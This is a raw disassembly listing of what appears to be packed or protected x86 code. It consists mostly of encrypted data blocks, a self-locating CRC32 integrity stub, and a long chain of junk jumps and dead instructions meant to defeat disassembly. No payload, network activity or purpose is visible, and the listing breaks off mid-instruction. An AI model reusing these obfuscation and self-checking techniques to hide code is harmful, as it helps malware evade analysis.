5CFE541Fh, 0DC7A6981h, 424305A3h dd 0D7B34280h, 0FDC56AEBh, 94E5676Fh, 6D46476Bh, 0C93D2528h dd 3DF213B5h, 678282ACh, 0D2EA3A4Eh, 2064F2BAh, 6B52D7B8h dd 0D0482F14h, 85254AD9h, 8970CA74h, 430A3808h, 553A147Fh dd 8959194Eh, 680FD40Fh, 0E0B5F743h, 4F483891h, 47BE0B34h dd 0B83AB45Ch, 9ACE5DAAh dd 0D2AE24D5h, 0FF98C2B3h, 924D7904h, 6FBB7156h, 7FE6F3D1h dd 56BE10C4h, 0B41DEB79h, 2A253C18h, 608253EBh, 0F3060B25h dd 84BC310Dh, 0FE995DC0h, 0BB5516FDh, 0B3BB8F42h, 27798786h dd 5F7D64BEh, 0DBD73175h, 0F49503Ah, 0EEEDB6BDh, 0B7381567h dd 6DC6BA6Bh, 9397064Ah, 78480BF6h, 0BDA98042h, 6D7FC045h dd 12F56CCCh, 78021E7Bh, 42F6A3BAh, 0A88A0D3Eh, 0F638A9E6h dd 0F9DF8DE9h, 855B9311h, 0EEDE3E15h, 7DDB01B0h, 0DC65E5B0h dd 0AAC1D844h, 7C20852Eh, 5F720EAAh, 0FFB570F9h, 8E95DC31h dd 0E6197528h, 0A6507978h, 7B10E3BEh, 0DB060FA3h, 58BD15EAh dd 0C506EAD8h, 0FB2AA5Ah, 0F4098E1Ch, 6361E8EAh, 6D70318Fh dd 2A39A596h, 9CBC84C1h, 0F551BF0Dh, 0B6CE0E0Bh, 9FA2C993h dd 17C5D610h, 0D6817406h, 0C3A8DE0Ch, 0E36EDCDFh, 0AC176AF9h dd 9002263Fh, 9F9D811Bh, 9915A33Ah, 0E56EE22Fh, 4754F70Ah dd 0AD905C47h, 0E8331012h, 5D37BA06h, 2F91DB6Fh, 78F0409Eh dd 0DD3CC175h, 90EAAC01h, 8753A738h, 5B927B9Dh, 8483D55Fh dd 9FACE8BEh, 37A16769h, 0E1646D23h, 4434D8B6h, 6B287EAEh dd 9DF94859h, 0F0BA72A8h, 28045695h, 0D156ED58h, 0D57C06D0h dd 6084DBE3h, 7A98D21Dh, 542E05A6h, 0A83417D0h, 0A8AFE84Dh dd 955C4B13h, 0BF226689h, 0DB9CF9C1h, 0C40EEDDFh, 989E48DCh dd 0D6BEA70Ch, 0D862DD31h, 0F3FAFE4Ch, 632EDF5Ah, 5F0D3B03h dd 4E187CEDh, 491BE6E8h, 0D4DCE60Ch, 8082F201h, 21977BCFh dd 0A37E7D47h, 9A3D3FE9h, 41E61150h, 445ECB4Ch, 0C54F73E4h dd 0E7FB08A6h, 4B7A6ACh, 675DC2ABh, 4BA02ADEh, 0C8B42E3Ah dd 0D47F0C21h, 0CCA13AB6h, 2B6DFE5Eh, 0DBEB4186h, 0B31318BEh dd 0D71E629h, 71273D06h, 519E2A4Eh, 9199A59Ah, 34C56D7h dd 234AED48h, 8FD60BB3h, 0A37A0D77h, 5727AE00h, 74600A83h dd 0D02838F4h, 0E5EE5F57h, 0EDFA3FD7h, 38598CFAh, 915456D9h dd 6974073h, 5A976B91h, 0D63DB943h, 318AC288h, 2DF1CA04h dd 0EF495B38h, 0DAF01F3Dh, 0B9389387h, 0B586D007h, 33E2F399h dd 4BA85D9Dh, 6D94A9DDh, 0CA877FEFh, 8649CEC8h, 0B677975h dd 7F24F318h, 2922BB85h, 0C419AC76h, 78762604h, 47526670h dd 913B1DAh, 0CE2E67Ch, 9891DCE5h, 197BECF2h, 0B9B1F85Bh dd 0F09F5B52h, 0BD07144Ch, 22B8738Ah, 0C96AE713h, 0DEBD1447h dd 0AC0FD692h, 42039E29h, 0EB27F39Ah, 22613E54h, 6CFA091Dh dd 0C2C0BEFEh, 1B5ACC8Eh, 6F99E276h, 0BBF2328Ch, 9185FA79h dd 0A9BEFA1Ah, 5698D126h, 271642B7h, 0ABEB3FB5h, 61E70BD1h dd 13D4FE4Fh, 11A6999Fh, 0B4C79B9Fh, 0CBC03890h, 6ABA2B94h dd 2B8F449Ch, 2ADC594h, 80F7D04h, 6CC5BDF5h, 0F9339919h dd 0E88DFB6h, 3B919E5Eh, 19DC44FDh, 51E7728Dh, 0E2C9F8E6h dd 0E4BAA9F2h, 0EDFE9C4Ch, 0D26382CEh, 0A0167E51h, 2FD6781Ah dd 12497F63h, 9929BCC9h, 9772B0E5h, 0EC24C9BFh, 0B57FFD82h dd 9ED9D06Fh, 9197EE4Ah, 128B4071h, 368E3CFCh, 9DD08F7Fh dd 0FA68AB82h, 0CCF11C77h, 8830BAD3h, 57170261h, 0E7E3645h dd 0BAC54FA6h, 1EE4DF6h, 6A97CCE1h db 13h ; --------------------------------------------------------------------------- loc_46BCD9: ; CODE XREF: DMN1:loc_46C9A1j popa pop ebp jmp loc_469C00 ; --------------------------------------------------------------------------- dd 8FE83BB2h, 146018A1h, 0DC17172Bh, 0CDC18F6Eh, 0EBC2A223h dd 12D8F062h, 0D57DFFFh, 0E3D37536h, 0AB725A28h, 0CED7B9C9h dd 5F7DFD68h, 8B09EA38h, 3A3DB548h, 0F15293Fh, 9685FF9Ch dd 0A87C57F9h, 0D61736BEh, 0F30F8AD6h, 227E1CB0h, 31169249h dd 0C3691E2Dh, 845818C4h, 8F7E8111h, 7DB35B2Bh, 22036351h dd 0D6FA612Bh, 7428806Eh, 0C6CC8FD8h, 38D8A7F0h, 0DE2607C2h dd 4132B59Dh, 0D7930CF8h, 3A704E87h, 0A1F94D16h, 109D5692h dd 985B5A23h, 58074040h, 6C0D55BDh, 0A950FE91h, 8865F81Eh dd 960A35C5h, 50E3DD62h, 6227F0Ah, 0D6B4A619h, 0AFFDA58Ah dd 2F37B5CBh, 27015DE5h, 12E8B6F7h, 3C22DA82h, 51D65740h dd 0BA4DB7D0h, 89AC3AE4h, 4544F79Eh, 9C694623h, 1F13681h dd 224D16h, 81E1B551h, 54B8216Ah, 0E887B082h, 129B12F0h dd 0F5D2157Bh, 3ABAB8E3h, 38D6C783h, 0ED61A110h, 9BDBCFC1h dd 95D926B2h, 0ABCDE1F6h, 2D8A63F3h, 4B9C12FCh, 0D4D7D95Ch dd 10602DDEh, 0EBCC62EEh, 3528AE66h, 0A6D63190h, 270EA3CBh dd 0F5BA9A38h, 0B04ECA58h, 74657C93h, 0A43AF806h, 2F2DE3B8h dd 8C3CE87Bh, 31744C71h, 5979D2AFh, 3742E1ECh, 0AAAC6452h dd 1DEF03F5h, 0A7886DB4h, 6A708DC7h, 83FD2DC6h, 0C12E82BFh dd 31EC48E7h, 0FE1E10A6h, 77311EACh, 19F6CDA5h, 0B1B20190h dd 59592B3Eh, 0CCE0566Dh, 71F5A075h, 8C20D1ACh, 61770263h dd 62C64E1Ah, 2666D1E8h, 6026664Ah, 0EAF50975h, 6C5E276Fh dd 66CE8E67h, 21B0E9C0h, 0A6BC7441h, 95B36992h, 83429A2h dd 0A9277A09h, 78F1EC0Fh, 9FEB6118h, 0AEC55C2Ah, 0A1AF5AC2h dd 8D11FC6h, 7CEADCCDh, 747A785Eh, 2C5520C6h, 0A12297B5h dd 0A368E372h, 887C0F92h, 71CBCEFh, 9C6B8160h, 1A5490A6h dd 0C2390B61h, 8829C185h, 6391D959h, 0D70E36C9h, 0F2372B93h dd 985BEB96h, 6197FB96h, 0FF3BB451h, 3B2D8BC3h, 82635B4Bh dd 10F49789h, 0DA2D4F3h, 97F10A08h, 68BCD649h, 0A0C3FEC3h dd 95E6BD8Dh, 1E992CBDh, 370E37C6h, 1302B711h, 5B901FB0h dd 0CE8E4CB9h, 0E72D9FF4h, 7F5D4B0Ah, 0B58514F0h, 0BDD27A8Ah dd 0E50B4D24h, 0BF7826FAh, 2FB1FDB7h, 7D601C2Eh, 0A73FB2ACh dd 0A3DB71ACh, 11A73D52h, 760BD5B2h, 20B478EFh, 545731FDh dd 0DA9776BAh, 0A6508D7Dh, 0A19D22A6h, 25C605D6h, 1A30AACDh dd 0D731EAE9h, 5D458BC0h, 0B935C1ADh, 76BC0EF5h, 528BF7CDh dd 6440532Eh, 0A4E65DF4h, 5CD6DA62h, 0EEA5E08Dh, 7A3CD643h dd 5BCA4D5Ch, 35D72833h, 61EFC86Dh, 29B2707Fh, 692CBA61h dd 9688305Bh, 0FA472FF9h, 7EF723C8h, 77B8DDBh, 7EF760EEh dd 0F699E9B2h, 39E3FF0h, 9F42FD7Bh, 0F3480B94h, 7335EDA0h dd 0CBD6282Dh, 0E8E14CDEh, 7016F98Ah, 0EE7A13A7h, 99DBE329h dd 0F2B49EA5h, 4B6E7110h, 0CDF38178h, 0F9A6411Fh, 0CD4D121h dd 0ED6FCA5Ah, 0B2E094Fh, 0E46E9611h, 1C19F4C7h, 0D2A6CC1Ah dd 0E39A6BC7h, 9EFF09B4h, 0C083CAA8h, 0E579AB73h, 676DDD72h dd 98481823h, 0DC6FAAFFh, 875F0E79h, 3DCAA6DBh, 2D47B560h dd 0C94FE4FFh, 5B845B64h, 0D1C6D4C5h, 0EE710E1Ch, 2E62F73Ch dd 0AEDC5742h, 142CD327h, 83E5006Dh, 0ED8BB0BBh, 0A49140F9h dd 452E2F77h, 549AE220h, 0AA1F66D6h, 0E03A42C7h, 0FD3EE524h dd 5AF5489Dh, 0B9370327h, 0F9BF4F41h, 93E6F4CDh, 0B628E856h dd 9851707Dh, 75CE7C81h, 1402A70Dh, 7CE5AB2Bh, 0DB5F1853h dd 6693B1F7h, 1CE014CAh, 0BE744978h, 6AFD08F0h, 8F407D5h dd 20895076h, 6BC492CBh, 0EFD91322h, 0D85447FBh, 3489743h dd 935C9C3Eh, 0E07AA517h, 0A3D00575h, 17EB0962h, 0BC9A6B18h dd 226CE1EBh, 4BDE4D58h, 5F0BE8FFh, 0C564C5CAh, 72E1E786h dd 675DCDF6h, 985815C4h, 3E15FC3h, 5DBBD8A5h, 0A4655DDCh dd 3756E7DFh, 4AC6BF03h, 7F02B023h, 0FA33018Ah, 6ED9E1F8h dd 4BFEF089h, 48F15A09h, 783EAFF2h, 0A397ADBAh, 0F9CF95BCh dd 95F50F39h, 8B718A78h ; --------------------------------------------------------------------------- loc_46C134: ; CODE XREF: DMN1:0046C9A8j push ebp mov ebp, esp call $+5 pop ebp sub ebp, 6C13Ch pusha mov esi, 6C134h add esi, ebp mov edi, 872h push ebx push ecx push edx push esi push edi cld xor ecx, ecx dec ecx mov edx, ecx push ebx loc_46C15C: ; CODE XREF: DMN1:0046C185j xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_46C16B: ; CODE XREF: DMN1:0046C17Ej shr bx, 1 rcr ax, 1 jnb short loc_46C17C xor ax, 8320h xor bx, 0EDB8h loc_46C17C: ; CODE XREF: DMN1:0046C171j dec dh jnz short loc_46C16B xor ecx, eax xor edx, ebx dec edi jnz short loc_46C15C pop ebx not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edi pop esi pop edx pop ecx pop ebx push eax jmp short loc_46C1B4 ; --------------------------------------------------------------------------- dd 504AADBCh, 8FF3922Ah, 0E61AE91Bh, 8B2F8398h, 11FD6DE7h dd 0D54DC74Eh ; --------------------------------------------------------------------------- loc_46C1B4: ; CODE XREF: DMN1:0046C19Aj jmp short loc_46C1C9 ; --------------------------------------------------------------------------- dw 2A4Ch dd 132EF16Eh, 0BF880757h, 0D5E8A80Fh, 0BFB1167Eh db 0C7h ; --------------------------------------------------------------------------- loc_46C1C9: ; CODE XREF: DMN1:loc_46C1B4j stc xor esi, 5B0A3071h jmp short loc_46C1E3 ; --------------------------------------------------------------------------- db 8 db 87h ; db 31h ; 1 db 69h ; i db 4Fh ; O db 0E3h ; db 5Bh ; [ db 81h ; db 0A3h ; db 16h db 0BFh ; db 18h db 6Fh ; o db 52h ; R db 0EBh ; db 0A6h ; db 0F4h ; ; --------------------------------------------------------------------------- loc_46C1E3: ; CODE XREF: DMN1:0046C1D0j mov ebx, 41000h jmp short loc_46C1FF ; --------------------------------------------------------------------------- dw 0AB1h dd 5A4A1BD8h, 1CD6431Ah, 0B586594Ch, 2CC26FE3h db 0F4h, 18h, 43h ; --------------------------------------------------------------------------- loc_46C1FF: ; CODE XREF: DMN1:0046C1E8j mov eax, 0ABE0h loc_46C204: ; CODE XREF: DMN1:0046C8AEj jmp short loc_46C211 ; --------------------------------------------------------------------------- dw 7FA4h dd 0A0038E1Dh, 0AD08D4EAh db 3Ah ; --------------------------------------------------------------------------- loc_46C211: ; CODE XREF: DMN1:loc_46C204j cmc cmc jmp short loc_46C22C ; --------------------------------------------------------------------------- db 5Ah, 23h, 19h dd 0D8359338h, 0BAB1E96h, 0E6469B10h, 427F5F08h, 5920DD9h ; --------------------------------------------------------------------------- loc_46C22C: ; CODE XREF: DMN1:0046C213j jmp short loc_46C23A ; --------------------------------------------------------------------------- dw 749Ch ; --------------------------------------------------------------------------- mov eax, ds:625827F3h dec ebx mov bh, 33h xchg eax, esp loc_46C23A: ; CODE XREF: DMN1:loc_46C22Cj xchg ebp, esp sbb edi, 2CDC3D00h jmp short loc_46C246 ; --------------------------------------------------------------------------- db 89h, 1Ch ; --------------------------------------------------------------------------- loc_46C246: ; CODE XREF: DMN1:0046C242j clc jmp short loc_46C257 ; --------------------------------------------------------------------------- db 8Fh, 0B8h, 0CAh dd 55F6CF96h, 0B9C8ABA6h ; --------------------------------------------------------------------------- add al, 0EDh push ebx loc_46C257: ; CODE XREF: DMN1:0046C247j jmp short loc_46C25D ; --------------------------------------------------------------------------- db 6Ch, 2Fh, 91h db 2Dh ; --------------------------------------------------------------------------- loc_46C25D: ; CODE XREF: DMN1:loc_46C257j jmp short loc_46C26A ; --------------------------------------------------------------------------- db 0FEh dd 539B442Fh, 376AFF35h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 64h ; --------------------------------------------------------------------------- loc_46C26A: ; CODE XREF: DMN1:loc_46C25Dj xchg edi, ecx jmp short loc_46C273 ; --------------------------------------------------------------------------- sahf dec edi or ebp, [edi] push es loc_46C273: ; CODE XREF: DMN1:0046C26Cj jmp short loc_46C27E ; --------------------------------------------------------------------------- db 0F4h, 0E9h, 0B6h ; --------------------------------------------------------------------------- xor dl, 0ABh test [ebp+1Dh], dh loc_46C27E: ; CODE XREF: DMN1:loc_46C273j xchg edi, esi mov edx, esp jmp short loc_46C29E ; --------------------------------------------------------------------------- dd 22759260h, 4A25CF8Bh, 488DEC9Ch, 8CA859F8h, 56F04647h dd 10523363h ; --------------------------------------------------------------------------- inc edx pop edx loc_46C29E: ; CODE XREF: DMN1:0046C282j cld jmp short $+2 test edi, 9C235FDAh jmp short loc_46C2AA ; --------------------------------------------------------------------------- db 0E4h ; --------------------------------------------------------------------------- loc_46C2AA: ; CODE XREF: DMN1:0046C2A7j jmp short loc_46C2CB ; --------------------------------------------------------------------------- dd 5F2E21D0h, 0A9DE1F42h, 0BC4EF041h, 541E2151h, 0F8D40728h dd 0F0CCE14Bh, 0ADCAAABDh db 0E4h, 0B5h, 0D0h ; --------------------------------------------------------------------------- loc_46C2CB: ; CODE XREF: DMN1:loc_46C2AAj jmp short loc_46C2E7 ; --------------------------------------------------------------------------- db 3Bh, 0D2h, 1Ah dd 41C61BBBh, 33F957C9h, 0DB34CFEDh, 0B9156D92h, 72420D57h db 21h, 0EDh, 0E2h ; --------------------------------------------------------------------------- loc_46C2E7: ; CODE XREF: DMN1:loc_46C2CBj jmp short loc_46C306 ; --------------------------------------------------------------------------- db 85h, 0B3h, 56h dd 30708EAh, 5621B617h, 728FEF74h, 0F72B09D4h, 0B97BC256h dd 0EABF8797h db 0CEh, 91h ; --------------------------------------------------------------------------- loc_46C306: ; CODE XREF: DMN1:loc_46C2E7j add edx, ebx xchg ebx, ebp test edi, 0FB7215F0h jmp short loc_46C31D ; --------------------------------------------------------------------------- dw 65CEh ; --------------------------------------------------------------------------- cmp byte ptr [ebx], 2Dh push es popa mov byte ptr [eax+2], 7Ah loc_46C31D: ; CODE XREF: DMN1:0046C310j xor ecx, 9233541Fh jmp short loc_46C32B ; --------------------------------------------------------------------------- db 0A3h, 2Ah, 0FAh db 0F7h, 0EDh, 0D8h ; --------------------------------------------------------------------------- loc_46C32B: ; CODE XREF: DMN1:0046C323j clc jmp short loc_46C32F ; --------------------------------------------------------------------------- db 81h ; --------------------------------------------------------------------------- loc_46C32F: ; CODE XREF: DMN1:0046C32Cj jmp short loc_46C341 ; --------------------------------------------------------------------------- db 9Dh, 0A8h, 8Eh dd 0E9F923D6h, 389B6892h, 67FCE33Bh db 0C1h ; --------------------------------------------------------------------------- loc_46C341: ; CODE XREF: DMN1:loc_46C32Fj jmp short loc_46C34B ; --------------------------------------------------------------------------- db 0Ch dd 8CF150C6h db 0B2h, 57h, 0BDh ; --------------------------------------------------------------------------- loc_46C34B: ; CODE XREF: DMN1:loc_46C341j jmp short loc_46C364 ; --------------------------------------------------------------------------- db 2Eh, 0ADh, 0F9h dd 0D1DC7810h, 9F1F22BAh, 0A5761FC0h, 227CEBEAh, 6DC98360h ; --------------------------------------------------------------------------- loc_46C364: ; CODE XREF: DMN1:loc_46C34Bj xchg edx, eax xchg ebx, ecx jmp short loc_46C373 ; --------------------------------------------------------------------------- xchg eax, edx leave and al, 0E6h test eax, 29112CE7h loc_46C373: ; CODE XREF: DMN1:0046C368j test edi, 0D51D013Fh xchg eax, ebp mov esi, [ebp+0] neg ebx jmp short loc_46C396 ; --------------------------------------------------------------------------- dw 292h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0DDh, 5Dh, 5Eh dd 904C8868h, 0C9DF4759h, 94BD303Fh ; --------------------------------------------------------------------------- and cl, bl loc_46C396: ; CODE XREF: DMN1:0046C380j jmp short loc_46C3B7 ; --------------------------------------------------------------------------- dd 6E24C432h, 605E85D2h, 4B1704B5h, 826BFB60h, 111A8CBh dd 24DD4B1Fh, 1E81078Fh db 0B7h, 0CDh, 0F0h ; --------------------------------------------------------------------------- loc_46C3B7: ; CODE XREF: DMN1:loc_46C396j jmp short loc_46C3BB ; --------------------------------------------------------------------------- db 3Fh, 5 ; --------------------------------------------------------------------------- loc_46C3BB: ; CODE XREF: DMN1:loc_46C3B7j jmp short loc_46C3DA ; --------------------------------------------------------------------------- retn 85E2h ; --------------------------------------------------------------------------- aaa lahf retf 0D78Dh ; --------------------------------------------------------------------------- db 7Ah, 6Fh, 0A4h dd 472E6FEEh, 0F2180CD3h, 68B8DF5Bh, 10FC75DEh ; --------------------------------------------------------------------------- mov cl, 52h loc_46C3DA: ; CODE XREF: DMN1:loc_46C3BBj jmp short loc_46C3F6 ; --------------------------------------------------------------------------- dd 1EC7C9D4h, 6D5536EAh, 2A6F099Ah, 0D486C0FEh, 2B43DC4Ah dd 88CF1639h ; --------------------------------------------------------------------------- mov ah, 0DFh loc_46C3F6: ; CODE XREF: DMN1:loc_46C3DAj stc jmp short loc_46C412 ; --------------------------------------------------------------------------- db 78h, 65h, 1Bh dd 0B284500Dh, 617BE253h, 0AD439B84h, 1BD01397h, 23C6A72Eh db 60h, 0BDh ; --------------------------------------------------------------------------- loc_46C412: ; CODE XREF: DMN1:0046C3F7j jmp short loc_46C42A ; --------------------------------------------------------------------------- dd 0A4CF47F5h, 152F52h, 3870FEF7h, 0F1F0CCC9h, 5C3C36F1h ; --------------------------------------------------------------------------- ror byte ptr [edi], 1 loc_46C42A: ; CODE XREF: DMN1:loc_46C412j test ebp, 0E65C4F09h cld jmp short loc_46C442 ; --------------------------------------------------------------------------- align 4 dd 3AB14DCFh, 0A263A7EDh, 0E1885605h db 0DCh, 52h ; --------------------------------------------------------------------------- loc_46C442: ; CODE XREF: DMN1:0046C431j jmp short loc_46C456 ; --------------------------------------------------------------------------- sahf retf 385Ch ; --------------------------------------------------------------------------- dd 223FBE53h, 4C4E8448h, 22918FD4h db 0B8h, 66h ; --------------------------------------------------------------------------- loc_46C456: ; CODE XREF: DMN1:loc_46C442j xor esi, [ecx] jmp short loc_46C46F ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- adc esi, edi sub [edi-2Dh], esi xor [esi-36A399B9h], ebx sbb [edx+308036D8h], ah sbb [edi+7], ah loc_46C46F: ; CODE XREF: DMN1:0046C458j stc bswap ebx xchg ebx, edx jmp short loc_46C48E ; --------------------------------------------------------------------------- mov edi, 3B1EF673h fsub st, st(7) cmp eax, [eax+4BD59257h] pop ecx mul dword ptr [edx-47h] dec ebx adc [ebx+5C6DC9Ch], edi loc_46C48E: ; CODE XREF: DMN1:0046C474j xchg ecx, ebp clc jmp short loc_46C494 ; --------------------------------------------------------------------------- db 0B5h ; --------------------------------------------------------------------------- loc_46C494: ; CODE XREF: DMN1:0046C491j jmp short loc_46C4A6 ; --------------------------------------------------------------------------- dw 0A6B7h dd 0A2907078h, 618932EAh, 24B8C093h db 5Ch, 0B3h ; --------------------------------------------------------------------------- loc_46C4A6: ; CODE XREF: DMN1:loc_46C494j xchg ecx, esp xchg esi, [ebp+0] xchg ebx, eax jmp short loc_46C4CC ; --------------------------------------------------------------------------- db 34h dd 2F99CC96h, 8577C486h, 2BC12740h, 28CB5C1Dh, 0D0993F4h dd 3177CDFh, 0A9FDA730h ; --------------------------------------------------------------------------- loc_46C4CC: ; CODE XREF: DMN1:0046C4ADj xchg ebp, ecx jmp short loc_46C4E5 ; --------------------------------------------------------------------------- db 89h, 0C0h dw 0ABBDh dd 562C828Dh, 70A6168Ah, 2563CA1h, 8CBAF582h db 85h ; --------------------------------------------------------------------------- loc_46C4E5: ; CODE XREF: DMN1:0046C4CEj jmp short loc_46C4F2 ; --------------------------------------------------------------------------- mov edx, 4C1C31CDh add dh, [ebx] db 2Eh cwde mov cl, 0E0h loc_46C4F2: ; CODE XREF: DMN1:loc_46C4E5j jmp short loc_46C501 ; --------------------------------------------------------------------------- dd 220874A5h, 283E2D7h, 0A8B00ACCh ; --------------------------------------------------------------------------- push esi loc_46C501: ; CODE XREF: DMN1:loc_46C4F2j jmp short loc_46C518 ; --------------------------------------------------------------------------- db 0DBh dd 0E21A8314h, 8B0AEA35h, 85887593h, 35BA7417h, 0B6151007h ; --------------------------------------------------------------------------- loc_46C518: ; CODE XREF: DMN1:loc_46C501j rol esi, 1 adc esp, 54633C20h jmp short loc_46C533 ; --------------------------------------------------------------------------- dw 8263h dd 0A91AF31Ch, 10EF1E00h, 2EAE7258h db 5Fh, 5Ah, 1Dh ; --------------------------------------------------------------------------- loc_46C533: ; CODE XREF: DMN1:0046C520j cld jmp short loc_46C555 ; --------------------------------------------------------------------------- dw 241Dh dd 0FB218021h, 0E421D787h, 5BEC8204h, 232E7DF5h, 15E56CCh dd 2DF02811h, 0F8FA5949h db 0E7h ; --------------------------------------------------------------------------- loc_46C555: ; CODE XREF: DMN1:0046C534j jmp short loc_46C567 ; --------------------------------------------------------------------------- db 0F6h dd 0D3292867h, 51C4527Ah, 728B0230h db 87h, 0DFh, 81h ; --------------------------------------------------------------------------- loc_46C567: ; CODE XREF: DMN1:loc_46C555j xchg edi, esi jmp short loc_46C570 ; --------------------------------------------------------------------------- db 1Bh dd 0B6D31446h ; --------------------------------------------------------------------------- loc_46C570: ; CODE XREF: DMN1:0046C569j stc sub edi, 7A806D3Bh xor esi, 0B64A3B04h jmp short loc_46C58E ; --------------------------------------------------------------------------- db 0B2h dd 17C17D3Fh, 0FB223AAh, 740F2061h db 6Eh, 0BEh ; --------------------------------------------------------------------------- loc_46C58E: ; CODE XREF: DMN1:0046C57Dj and esp, 4399DD4h xchg ecx, esp jmp short loc_46C599 ; --------------------------------------------------------------------------- db 1 ; --------------------------------------------------------------------------- loc_46C599: ; CODE XREF: DMN1:0046C596j xchg edi, ecx stc stc xchg edi, esi jmp short loc_46C5A5 ; --------------------------------------------------------------------------- db 25h, 0BFh, 0EFh db 21h ; --------------------------------------------------------------------------- loc_46C5A5: ; CODE XREF: DMN1:0046C59Fj xchg ecx, [esp] neg edx jmp short loc_46C5CA ; --------------------------------------------------------------------------- dd 5105B53h, 0C5854412h, 0D04609E0h, 0C9FB0A56h, 0AAD6C6CCh dd 0ED0188C7h, 32A55BEBh ; --------------------------------------------------------------------------- inc ebp lodsb loc_46C5CA: ; CODE XREF: DMN1:0046C5AAj xor edx, 22AA5F07h jmp short loc_46C5EC ; --------------------------------------------------------------------------- dw 810Bh dd 0E09A5098h, 0F62E1807h, 0AF2E8021h, 0FC7B87C6h, 0ACC5E159h dd 0DD246FADh ; --------------------------------------------------------------------------- loc_46C5EC: ; CODE XREF: DMN1:0046C5D0j jmp short loc_46C60C ; --------------------------------------------------------------------------- dw 0ADA6h dd 0E253F136h, 0AF998130h, 0F51C7585h, 1D6C2150h, 584FDA6Ah dd 0E9196D52h, 0DFD8A54Eh ; --------------------------------------------------------------------------- loc_46C60C: ; CODE XREF: DMN1:loc_46C5ECj cld mov edi, ebp jmp short loc_46C626 ; --------------------------------------------------------------------------- db 51h, 0DAh, 0F3h dd 0A698A10h, 33A9B0Fh, 6E207029h, 41E4356Dh ; --------------------------------------------------------------------------- dec eax dec eax loc_46C626: ; CODE XREF: DMN1:0046C60Fj xchg eax, edi cmp esi, 8B2AAD0h jmp short loc_46C64C ; --------------------------------------------------------------------------- dd 552C9926h, 0A5683FF1h, 57BDBF1h, 0D7EF5538h, 0EC865270h dd 82D2D005h, 0F0A44714h ; --------------------------------------------------------------------------- loc_46C64C: ; CODE XREF: DMN1:0046C62Ej jmp short loc_46C65E ; --------------------------------------------------------------------------- dw 6F52h dd 0B96E8070h, 201A53EBh, 0F78376Ah db 51h, 86h ; --------------------------------------------------------------------------- loc_46C65E: ; CODE XREF: DMN1:loc_46C64Cj jmp short loc_46C67F ; --------------------------------------------------------------------------- dd 0A47E5BADh, 0A44B23EFh, 85400980h, 2080897Eh, 5741C8D9h dd 5991CFFAh, 3EE56B27h ; --------------------------------------------------------------------------- add ebx, esp dec ebp loc_46C67F: ; CODE XREF: DMN1:loc_46C65Ej add eax, ebx jmp short loc_46C684 ; --------------------------------------------------------------------------- db 0A0h ; --------------------------------------------------------------------------- loc_46C684: ; CODE XREF: DMN1:0046C681j jmp short loc_46C689 ; --------------------------------------------------------------------------- dw 0E4C9h db 7Fh ; --------------------------------------------------------------------------- loc_46C689: ; CODE XREF: DMN1:loc_46C684j jmp short loc_46C693 ; --------------------------------------------------------------------------- db 81h dd 7D3F0A29h db 14h, 58h, 0F4h ; --------------------------------------------------------------------------- loc_46C693: ; CODE XREF: DMN1:loc_46C689j jmp short loc_46C6B3 ; --------------------------------------------------------------------------- db 2Ch, 0ABh, 0C9h dd 0BA883E7Ch, 0BB6AAE8Dh, 0DF2311E5h, 2A8C0D98h, 9E630B7Ah dd 658F5D4Bh db 30h, 74h, 0E7h ; --------------------------------------------------------------------------- loc_46C6B3: ; CODE XREF: DMN1:loc_46C693j jmp short loc_46C6C1 ; --------------------------------------------------------------------------- db 0B2h, 61h, 0A8h dd 7A335489h, 2483C06Dh db 4 ; --------------------------------------------------------------------------- loc_46C6C1: ; CODE XREF: DMN1:loc_46C6B3j std jmp short loc_46C6DE ; --------------------------------------------------------------------------- dd 0E6AC7926h, 6BAC39E1h, 0C6FB0850h, 0DC867E8h, 3EDC142Bh dd 0BE342451h db 0, 0C2h ; --------------------------------------------------------------------------- loc_46C6DE: ; CODE XREF: DMN1:0046C6C2j jmp short loc_46C6F4 ; --------------------------------------------------------------------------- or ah, bh inc edi icebp pop bx add bh, dh pop edi jmp fword ptr [ebp+ebp*2-37824A87h] ; --------------------------------------------------------------------------- dd 0D80F6851h ; --------------------------------------------------------------------------- loc_46C6F4: ; CODE XREF: DMN1:loc_46C6DEj jmp short loc_46C712 ; --------------------------------------------------------------------------- dw 9F96h dd 4822DC7Ch, 0C0974803h, 7C391CFFh, 0C623CA43h, 0D9A17834h dd 9F7ED472h db 65h, 0D1h ; --------------------------------------------------------------------------- loc_46C712: ; CODE XREF: DMN1:loc_46C6F4j mov [eax], ecx bswap edx xchg edx, esi xchg edx, esp xchg esi, ebx jmp short loc_46C734 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 23h dd 0A6F011B6h, 0C27E00EBh, 0B37308B8h, 4BA44A83h, 90E1EC30h ; --------------------------------------------------------------------------- loc_46C734: ; CODE XREF: DMN1:0046C71Cj jmp short loc_46C737 ; --------------------------------------------------------------------------- db 0D2h ; --------------------------------------------------------------------------- loc_46C737: ; CODE XREF: DMN1:loc_46C734j jmp short loc_46C740 ; --------------------------------------------------------------------------- db 35h, 1Fh, 8 dd 10EC8A4Eh ; --------------------------------------------------------------------------- loc_46C740: ; CODE XREF: DMN1:loc_46C737j jmp short loc_46C75F ; --------------------------------------------------------------------------- dw 0D910h dd 4CA4E0B1h, 0ECB5B9D1h, 0A45BC5D8h, 8398219Bh, 1A692A5Eh dd 7B1B775Fh db 69h, 8Bh, 0AFh ; --------------------------------------------------------------------------- loc_46C75F: ; CODE XREF: DMN1:loc_46C740j xchg edi, esp not ecx add esi, 3 jmp short loc_46C785 ; --------------------------------------------------------------------------- mov esi, 9DB3AAB9h mov ch, 67h jnp short loc_46C782 pusha or bl, cl das mov ds:34F3B2B0h, eax mov dh, [ecx+524BD4DCh] xor bh, [ecx] loc_46C782: ; CODE XREF: DMN1:0046C76Fj dec edi rcl byte ptr [esi], 1 loc_46C785: ; CODE XREF: DMN1:0046C766j jmp short loc_46C78D ; --------------------------------------------------------------------------- db 28h dd 0A828ECECh db 70h ; --------------------------------------------------------------------------- loc_46C78D: ; CODE XREF: DMN1:loc_46C785j xchg esi, esi jmp short loc_46C799 ; --------------------------------------------------------------------------- db 49h, 0B8h, 0C7h dd 0C655073Ch ; --------------------------------------------------------------------------- inc ebp loc_46C799: ; CODE XREF: DMN1:0046C78Fj test edi, 84DA9D00h add esi, 